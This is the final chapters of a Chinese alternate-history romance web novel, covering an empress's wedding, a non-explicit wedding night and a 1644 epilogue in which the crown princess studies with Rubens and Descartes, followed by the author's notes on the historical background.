“二郎…”她轻声唤他,声音软得似能滴出水来。 他没有应她,只是吻得更深。 他的唇自她的耳畔滑落,沿着修长的天鹅颈,一路向下。 她的肌肤浸在水汽中,格外敏感,他每一次触碰,都惹她轻轻战栗。 她仰起头,露出那片白皙,任由他采撷。 月光倾泻而下,落在水面上,水波轻漾,掩映着那些缠绵的,不足为外人道的画面。 不知过了多久,他将她抱起,轻轻放在了池边的青石上。 月光照在她身上,照出那一片莹白。 水珠顺着她的肌肤滑落,留下一道道湿痕。 她的眼波迷离,脸颊绯红,唇微微肿着,显是被人狠狠地疼爱过。 朱弘毅看着她,目光暗了暗。 他俯下身,又狠狠吻了上去。 这一夜,温泉水不知荡漾了多少回。 月光自东移向西,虫鸣从喧嚣归于寂静,天地间,唯有那缠绵的声音,断断续续,一直响到天明—— 作者有话说:崔尚宫真的是全世界最好的女领导!!!《 》 第141章【VIP】 第141章 八月初八, 新帝于登基大典正式下诏,改元昭武,并颁发天下诏书: 咨尔周氏妙雅, 名将忠烈之后, 秉性端良, 德才兼备。于朕微时,相知相扶,于国危时,匡扶社稷。其坚毅可安天下,其慧智可佐朝纲。兹承天命,奉宗庙,立尔为皇后, 正位中宫。 张文龙风尘仆仆,自辽东一路策马而来, 进了城门, 却见徐明阳已候在路边。 “张将军。” 徐明阳迎上前,拱手一礼。 张文龙翻身下马,拂去衣上尘土, 咧嘴笑道:“徐大人,许久未见, 别来无恙。” 他此次进京,是来参加帝后大婚的, 一是为了兑现当初在辽东给朱弘毅的承诺,二则是因为, 新皇后没有娘家,他和身后的数万辽东军将士,便是她的父兄。 张文龙冲着徐明阳笑了笑:“当初海州一诺, 我曾对陛下说过,等辽东太平的那一日,我定会去京城喝他的喜酒。” “只是没想到,这杯喜酒,喝的竟是帝后的。” 徐明阳没有说话,只是微微含笑,轻轻拍了拍他的肩。 孙司记与白芷亦是在城门外,接到了仇方仇珍父女。 仇珍一见白芷,霎时便落了泪:“当初苏州城一别,我曾对妙雅许诺,待她与朱公子成亲之日,定要去京城赴礼。” 言至此处,她含泪望了望父亲,复又笑道:“只是没想到,此生竟有幸见证帝后大婚,我们妙雅,真是太争气了!” 仇方望着女儿眼含热泪,真心祝福儿时的挚友,不由得想起当年在文府,周妙雅小小一个人儿,抱着一幅新画的兰草图,在廊下静静看着仇珍与自己撒娇,眼中满是艳羡。 他亦想起风华绝代的虎丘诗会上,文老太爷将小孙女揽在怀里,骄傲地跟众人说:“老夫这点微末的技艺,也算是后继有人了。” 这个自小便没了父亲,曾寄居在文府,被文老太爷当亲孙女一般疼爱的姑娘,如今长大了,成了一国之后。 文老太爷,您的在天之灵,可以安息了。 ———— 九月初九。 金风玉露,天朗气清。 宜嫁娶。 天还没亮,宁王府就已经灯火通明。 皇后没有娘家,宁王府便是她的娘家,她虽父母双亡,但是张文龙,徐明阳,仇方父女,崔尚宫,孙司记,六局二十四司的女官,甚至是青黛白芷,都是她的家人。 尚服局的女官早早便到了宁王府,她们的手中捧着御赐的皇后翟衣,捧着九龙九凤冠,一样一样,郑重地摆在正厅的桌案之上。 崔尚宫看着那些礼服,眼眶微微有些发热,孙司记站在她身边,紧紧握住了她的手。 周妙雅被青黛和白芷扶着,从暖阁里走了出来。 她还没有梳妆,只穿着家常的衣裳,一头乌黑的秀发散在肩上,当她走进正厅,看见那些礼服时,脚步忽然顿住了。 崔尚宫走上前,轻轻握住周妙雅的手。 她眼含热泪,声音有些发颤:“妙雅,今日我们送你出嫁。” 孙司记也走了过来,站在她二人的身旁,哽咽道:“六局二十四司,都是你的娘家人,你从这里走出去,风风光光地走出去。” 周妙雅的眼泪霎时便落了下来。 但她的嘴角,却始终笑着。 崔尚宫双手捧着她的小脸,劝道:“大喜的日子,不要哭。” 但她说这句话时,自己也没忍住。 女官们围了上来,七嘴八舌叽叽喳喳道:“快伺候皇后娘娘去梳妆吧,不要误了吉时。” 周妙雅这才在一众女官的簇拥之下,坐在了铜镜前。 女官们围着她,净面,梳头,上妆,一系列动作如行云流水。 青黛与白芷站在一旁,帮不上手,只能怔怔地望着,看着看着便不自觉地落了泪。 周妙雅从铜镜中看见她们,心里暖得发烫。 她没有娘家人。 但她有她们。 梳妆完毕,女官们七手八脚地捧过翟衣,中单,蔽膝,玉革带,大带,大绶,玉佩等,一件一件为她穿上。 最后,将那顶象征权力的九龙九凤冠为她戴上。 那顶冠很重,压在她的头发上,沉甸甸的。 然而周妙雅并不觉得累,她心中只觉这一刻,她等得太久,太久了。 待穿戴妥当,崔尚宫行至她的面前,上下打量着,看了许久。 然后,她欣慰而骄傲地笑了。 她微微颔首:“好看,真好看。” 吉时到。 门外传来了礼乐声。 传制官领着正副史,从皇城一路来到宁王府,卤簿彩舆载着礼部备下的聘礼,在大乐的乐声中缓缓前行。 沿路挤满了看热闹的百姓,人头攒动,摩肩接踵。 “是周将军的女儿啊!” “周将军的女儿做大晟的皇后了!” “这真是天下第一等的大好事啊!周将军为大晟奉献了那么多,他的女儿理应被善待!” 张文龙在府门外听到围观百姓的议论,忍不住老泪纵横。 徐明阳走到他身边,拍了拍他的肩膀:“张将军,该进去了。” 张文龙抬起袖子抹了抹泪,笑道:徐大人,咱们两个大老粗,能当一回人家的爹,这辈子也值了。” 徐明阳回首,摇了摇头:“只有你一人是大老粗,我可是两榜进士,莫要将我与你这粗人混为一谈。” 张文龙破涕而笑,拱手施礼:“是,首辅大人。” 他随徐明阳来到正堂,此时崔尚宫与孙司记已入座,他们二人随之也入了主座。 女执事引着已着好深青色十二纹翟衣,头戴九龙九凤冠的周妙雅款款而出。 她走到厅堂之上,对着端坐于主座之上的四位“父母”各拜了四拜。 徐明阳与张文龙双目满含期待之情对周妙雅叮嘱道:“戒之戒之,夙夜恪勤,勿或违命。” 崔尚宫与孙司记则是抹着喜泪,起身又再三帮周妙雅整理了衣冠,哽咽地嘱咐道:“尔父有训,尔当敬承。” 周妙雅又向坐上四人拜了又拜,放才在一众女官的簇拥之下,出了府门,上了凤舆。 上轿之后,她忍不住掀开了轿帘,回望了一眼宁王府 的大门。 这一眼,她看了很久,很久。 这里承载了她太多的记忆,从暖阁到瀚海楼,从书房到听风阁水榭,她一辈子都忘不了。 是她即将要嫁的那个人,在这里,给了她最像家的日子。 历经一系列的繁复礼仪之后,新皇后终于被风风光光地从大晟门中门迎娶进宫,百官着朝服于承天门外迎候,至午门外,卤簿止,女乐前导步入奉天门,再至内廷。 昭武帝着天子衮冕服,将新后迎入殿中。 二人更衣后又一同到奉先殿行谒庙礼,祭毕后还宫行合卺礼,喝过吃过之后,才双双被送入洞房。 ———— 坤宁宫暖阁。 红烛高照,将内殿映得满室流光,烛火轻跳,在墙壁上投下斑驳的烛影。 周妙雅端坐于床沿,双手交叠于膝上,宫人已帮她卸下繁重礼服与头饰,她散着一头乌发,静静地坐在那里,等着她的新郎官。 屋内安静的能听到她自己的心跳声,一下,又一下,快得像要从胸腔里蹦出来一般。 忽然,她听到外面脚步声传来。 她垂着眼,不敢抬眸,只听见暖阁门被推开,复又阖上的声响。 来人行至她面前,伸出手,轻轻托起了她的下巴。 她被迫抬起头,对上了那人的目光。 烛火在他身后摇曳,将他的英俊的面庞映得格外温柔。 他站在那里,居高临下地看着她,目光从她的眉眼滑至她的唇。 是她的新郎官。 周妙雅的脸颊烫得厉害。 “累不累?”她的新郎官柔声问她。 周妙雅点了点头,又摇了摇头。 朱弘毅对她温柔的笑了。 他坐到了她的身侧,双手捧住她的脸颊,低声唤她:“妙雅,我等这一天,等了很久。” 他身上有淡淡的酒气,是合卺酒留下的味道,混着他特有的气息,好闻得让人心安。 周妙雅安安静静地望着他深情的双眼。 屋内很静,她能听到他强有力的心跳。 一下,又一下。 和她的心跳交织在一起,分不清是谁的。 洞房的红烛映在周妙雅的脸上,将她的眉眼映得格外温软。 她颊上绯红,似涂了一层薄薄的胭脂,嘴唇微微抿着,润润的,在烛光下泛着淡淡的光泽。她的双眸中汪着一点水光,不知是泪还是烛火倒影,亮亮的,像是盛着一汪春水。 他双手捧着她的脸颊,静静地看着她,看了很久。 然后,他俯身向前,轻轻吻住了她的唇。 极轻,极柔,似怕惊到他的新娘。 周妙雅闭上眼睛,迎合着他,睫毛轻轻颤了颤。 他能感觉到她的睫毛扫过脸颊的触感,痒痒的,柔柔的。 而后,他加深了这个吻,慢慢的,缠绵的辗转厮磨,一点一点地品尝着她的滋味。 她的唇软得惊人,带着一点淡淡的甜,让他舍不得放开。 周妙雅的呼吸瞬间紊乱了起来,双手不自觉攥紧了他胸前的衣襟。 他没有急,只是慢慢地吻着她。 舌尖轻轻探出,描摹她的唇形,一点一点撬开了她的齿关。 她轻轻嗯了一声,那声音软得似能滴出水来。 他似被这声音刺激到了,吻得更深,更重。 他的手从她肩头滑下,落在她腰间,轻轻一托,便把她抱了起来。 她惊呼了一声,双手环住他的脖颈,整个人挂在了他的身上。 他没有放开她的唇,一边吻着,一边将她放倒在了床榻之上。 她脊背触到柔软的被褥,轻轻颤了颤。 他伏在她身上,撑着手臂,俯视着她。 烛光自帐幔的缝隙透了进来,落在她脸上,明明灭灭的。 她的眼波迷离,脸颊绯红,唇微微肿着,泛着水润的光,胸口轻轻起伏着,贴身的寝衣勾勒出柔软的曲线。 他的目光暗了暗。 “妙雅。”他低声唤她,声音哑得不成样子。 她看着他,眼睛亮亮的,水水的。 他低下头,又吻了上去。 耳鬓厮磨间,他轻轻挑开了她寝衣的系带。 烛火摇曳,在帐幔上映出两个人的影子,交叠在一起,缠绵悱恻。 夜已深。 红烛犹自燃着,烛泪一滴滴滑落,堆在烛台上,凝成一片暖红。 帐幔里传来轻轻的喘息声,低低呢喃,缠绵悱恻,断断续续,响至天明。 月色自窗缝倾泻而入,落在了散落一地的衣物上。 帐幔轻轻晃动,晃了一夜,未曾停下—— 作者有话说:从先帝死,到登基大典,到帝后大婚,时间线参考了一下弘治死,正德即位,正德大婚。 为啥没参考天启和崇祯的呢?因为崇祯在当信王的时候(天启还没死的时候)已经和周后结完婚了,当然那时候周后还不是周后,是信王妃。 弘治死后10日之后,正德才即位,即位三个月后,才大婚。所以皇帝他爸死,皇帝不用守孝三年,可以立即结婚。 关于皇后的凤冠,洪武元年定制度是九龙四凤冠,但是你们知道,晚明特色,服饰僭越成风,连西门庆都能搞身蟒袍穿穿。 万历定陵出土的皇后凤冠是九龙九凤冠和十二龙九凤冠,按照晚明一贯的调性,这里给雅妹九龙九凤,九月初九,讨个吉利。《 》 第142章【正文完】 第142章 公元1644年, 大晟昭武十七年,海晏河清,太平盛世。 皇太女朱徽婼年方十六, 英姿飒爽, 一身戎装, 手持火铳,于西山猎场检阅神机营。 铳声震天,硝烟弥漫,她立于高台之上,目光如炬,一一扫过台下列阵整齐的将士们。 “殿下,神机营已演练完毕。”副将上前禀报。 朱徽婼点了点头, 将火铳递还给身边的侍卫。她抬起手,冲着台下挥了挥。 三千人齐刷刷地跪了下去。 “殿下千岁!” 那声音如山呼海啸, 在猎场上 空回荡。 今上昭武帝与皇后自婚后琴瑟和鸣, 帝勤于政事,后宫唯皇后一人。皇太女为皇后独女,自出生那日便集万众瞩目于一身。 朝臣起初还上书劝谏皇帝广纳后宫, 为皇室开枝散叶,无奈帝心坚决, 油盐不进。满朝文武皆知当初反对立后时,皇帝的态度有多决绝, 劝着劝着,见无用, 也就不再劝了。 皇帝为让朝臣死心,干脆于公主三岁那年,封其为皇太女, 并正式昭告天下,将公主作为帝国的继承人培养。 皇城内,乾清宫。 朱徽婼自西山猎场归来,大步流星地往乾清宫殿内走去,门口的太监刚想通传,却被她抬手制止了。 只见她悄悄绕过屏风,探头往里看去。 御案前,她的父皇母后正坐在一处,共同看着手中的奏章。 两个人挨得极近,近得她的肩膀几乎贴着他的手臂。 朱徽婼站在屏风后,看着殿内如此静谧温馨的一幕,不由得会心一笑。 她心中感叹,自己必是这世上最幸福的女儿,自懂事起,她从未见父皇母后红过脸,父皇事事尊重母后的意见,朝堂之事亦从不避讳,两人常这般共处一室,共商国事,仿佛如此一般天经地义。 她听六尚局的女官们说过,母后年轻时是远近闻名的才女,女官大考的魁首,若是生为男子,必为国之栋梁。 她感谢父皇母后为她创造的天下,如今太平盛世,不必再忌讳性别是男是女,女子一样可以闯下一番自己的天地。 “这一条,户部的银子拨得少了。” 只听得殿内,周妙雅指着折子上的一行字,轻声说道:“如今开了海禁,两广沿海诸港,福建诸港停靠的外国商船越来越多,大型港口需要修缮,市舶司需要建设,这点银子是不够的。” 朱弘毅凑过去看了一眼,眉头蹙得更紧: “关税挣了那么多,他们这时倒省上了,回头让户部再议。” 周妙雅点了点头,继续往下翻。 朱弘毅却没再看折子,他侧过头,望向她的侧脸。 十七年了,她的眉眼依旧,只眼角添了几道细纹,那纹路不显老,反让她更添了几分温润。 他看了一会儿,忽然伸出手,将她鬓边垂下的一缕碎发轻轻拢到耳后。 周妙雅怔了一下,抬眸看向他,娇嗔道:“看什么?专心看折子。” 朱弘毅笑了笑,没说话,只是静静地看着她。 周妙雅的脸微微红了一下。 她低下头,决定不再理会他,继续看折子,可耳根那一点红,却出卖了她。 朱徽婼站在屏风后面,看着这一幕,唇角不自觉地微微扬起。 她的父皇母后,成婚已十七年了,还能这般恩爱如昔,真是令人羡慕的神仙眷侣。 她轻咳了一声,从屏风后面绕了出来。 “父皇,母后。” 朱弘毅闻声抬起头,见自己的宝贝女儿一身戎装,英姿飒爽,眼睛瞬间就亮了起来。 他的声音中带着父亲惯有的慈爱:“婼儿回来了?神机营如何?” 朱徽婼走到御案前,站定,抱拳行了一礼。 “回父皇,神机营三千人,火铳演练全数合格,副将说,比去年又进步了不少。” 朱弘毅点了点头,面上带着满意的笑容。 周妙雅放下手中的折子,看着眼前意气风发的女儿,也欣慰地笑了笑。 她忽然想起很多年前,汤山的那个午后,她第一次摸到火铳。 那时朱弘毅手把手教她瞄准,教她扣动扳机。 后来她举着那把火铳,于坤宁宫大殿之上诛杀了康敏之,又于文府别院一枪毙了文毓瑾。 那时候她从未想过,未来有一天,她的女儿会站在猎场之上,检阅三千人的神机营。 “累不累?”她开口问她,带着母亲对女儿的关爱。 朱徽婼摇了摇头,咧嘴笑了。 “不累,母后,我还想再看看火铳的图纸,听说兵部研制了最新式的,比西洋的火铳更厉害百倍?” 周妙雅下意识地看了朱弘毅一眼。 朱弘毅笑了笑,冲她点了点头。 周妙雅站起身,走到一旁的书架前,从上面取下了一卷图纸,递到了宝贝女儿的手中。 “这是新制的,比你现在用的更轻一些,射程也远。” 朱徽婼的眼睛霎时便亮了,她接过图纸,当场展开来看。 朱弘毅与周妙雅对视了一眼,相视而笑。 窗外,阳光正好。 ———— 帝后二人回到寝殿时,天色已经暗了下来。 殿内掌了灯,暖黄色的烛光映在窗棂上,映得屋内一片暖意融融。 司礼监掌印太监来福迎了上来,面上还带着笑意:“陛下,娘娘,皇太女殿下派人送了礼物来,说是提前给陛下祝寿的。” 朱弘毅愣了一下,随即笑道:“这孩子,离万寿圣节还有半个月呢,她急什么?” 来福招招手,几个小太监抬着一幅画走了进来,画幅不小,用绸布盖着,看轮廓是被隆重装裱过的。 朱弘毅亲自上前,伸手掀开了绸布。 烛光下,一幅油画静静地呈现在了眼前。 画面上是他们一家三口,穿着隆重的礼服,其乐融融的画面。 画上的三人都与真人一般大小,栩栩如生,连衣料的褶皱,发丝的弧度,母后凤冠上的每一颗珍珠,都清晰可见。 朱弘毅站在那里,细细地端详着那幅画,连连赞叹,看了很久。 周妙雅亦走上前去,伸出手,触碰着画布上那厚重的笔触,声音有些发颤,不禁感叹道:“这…真是婼儿画的?” 来福笑着点了点头:“回皇后娘娘的话,殿下说,这是西洋的油画,是她亲手画的,画了好几个月呢。” 朱弘毅看着画上三人的五官,和真人相差无几,他的目光落到画中女儿的脸上,那眉眼,那笑容,活脱脱就是他的女儿。 而后,他突然欣慰地笑了,那笑容里满是藏不住的骄傲:“这孩子,真是得了她母后的真传。” 周妙雅笑着摇了摇头:“我哪里会教她画这些西洋的画。” 说到这里,她顿了顿,目光复又落在画上,似在回忆着什么:“婼儿十二岁那年,跟着艾儒略去了欧罗巴。” 朱弘毅颔首表示赞同,他当然记得那一年。 那时候翰林院翻译馆初建,在徐明阳与艾儒略的带领下,已译出《几何原本》《天体运行论》等不少西方典籍。但艾儒略说,这些还不够,他要亲自回欧罗巴一趟,去各国筹集七千部典籍,带回大晟翻译。 七千部典籍,功在千秋。 这是一等一的大事。 作为一个想名垂青史的明君英主,朱弘毅自然是极力赞成的。 那时候大晟已广开海禁,积极参与海权争霸,通过海上贸易与关税,白银不断流入,与欧罗巴,新大陆之间的航线已全然成熟。 于是艾儒略便来请旨,说想带几个人同去。 周妙雅想了很久,最后问女儿:“婼儿,你想去吗?” 十二岁的朱徽婼,眸子亮得如天上的繁星一般:“想!母后,儿臣想和老师同去!” 于是周妙雅便亲自点了几位司籍司的女官,伴着皇太女,跟着艾儒略,一路漂洋过海,去了那片从未踏足过的陌生土地。 屋内此刻很安静,西洋自鸣钟毎整点的报时声,将朱弘毅的思绪从昭武十三年拉了回来。 他似想起了什么,开口说道:“夫人,我记得婼儿在欧罗巴,还拜了几个师傅,她便是在那时,学习如何画这西洋画的吧?” 他和周妙雅成婚多年,在私下场合,便如同平民夫妇一般,互称相公与夫人。 周妙雅笑着点了点头:“是,艾儒略带着她去到佛兰德斯一个叫做安特卫普的城市,那里有个名叫鲁本斯的画家,是欧罗巴很有名的人,他见了徽婼,非要给她画像,徽婼就是在那里,第一次看到了真正的油画。” 说到这里,她想起女儿后来写信回来,说起那段经历时的语气。 信中说,鲁本斯的工作室大得像宫殿,到处都是画,到处都是颜料的味道。那些画里的人物,饱满的身体,飞扬的衣裙,戏剧性的构图,和她以前见过的所有画都不一样。 她说,那一刻她才真正明白,原来绘画可以是这样的。 和她母亲画的画截然不同。 母亲的画是向内探寻的精神修行,每一笔都是心境的写照,而鲁本斯的画,是生命本身在欢呼,在呐喊,在绽放。 她说她在那里待了三个月,每日都去看鲁本斯作画,每日都与他交流东西方绘画的不同,鲁本斯很喜欢这个来自东方的小公主,说她有一颗敏锐的心,将来一定能像她的母亲一样,成为一名了不起的画家。 想到这里,她想起女儿曾在信中提到的另一件趣事,继而开口道:“婼儿在信中还提到过,艾儒略带她在尼德兰的城市海牙拜了一位学数理的老师,名叫笛卡尔,听说是欧洲很有名的学者。婼儿跟着他学了两年,后来写信回来说,老师夸她聪慧,说她若 为男子,必成大器。” 朱弘毅笑了笑:“当初她的母亲,在女官大考中勇夺魁首,文章引得翰林院争相传阅,当时怎么说来着?不也是说夫人若为男子,必成大器么。这便是,有其母,必有其女。” 周妙雅的脸微微一红,别过头去。 朱弘毅见她人到中年,还是一副少女的羞窘模样,心下欢喜,但仍继续道:“如今她是皇太女,必须担起未来统治这个国家的责任,这已无关男女之别,我们的女儿,即使是女子,也必然会成大器。” 周妙雅回过头,怔怔地看向他,她心里想着,当初无论多难多苦,幸好都挺过来了,如今和他在一起,他们一家三口,真的很幸福。 想着想着,她的眼眶竟不自觉地微微泛了红。 她忽然伸出手,轻轻握住了他的手。 朱弘毅没有说话,只是反握住她的手,握得很紧。 烛光摇曳,映在那幅画中,三个人的笑脸上。 那便,就这样一直幸福下去吧。 正文完—— 作者有话说:感谢宝子们的一路陪伴!!正文已完结,周妙雅,朱弘毅,谢谢你们陪伴我这么久,你们一定要幸福!!! 宝子们想看什么番外,可以留言告诉我,我虽然平时工作很忙,但是尽量抽出时间满足大家的需求~还请宝子们帮忙给预收文《金銮锁仙》点个收藏,感谢啦~ 科普小剧场还有最后一小段,是关于晚明传教士金尼阁与鲁本斯的。如果你们去搜鲁本斯绘金尼阁画像,回搜到两个版本,一个是素描手稿,一个是正式的油画版本,都是画的金尼阁身穿汉服的样子。所以说鲁本斯他真的画过大明衣冠!金尼阁也真的回欧洲去搜集过七千部典籍,并且真的带回了大明,只不过他回到杭州没多久,还没来得及翻译,便去世了。历史上的西学东渐,真的很迷人,如果1644大明没有亡,那就在小说里,让他们都圆满吧!《 》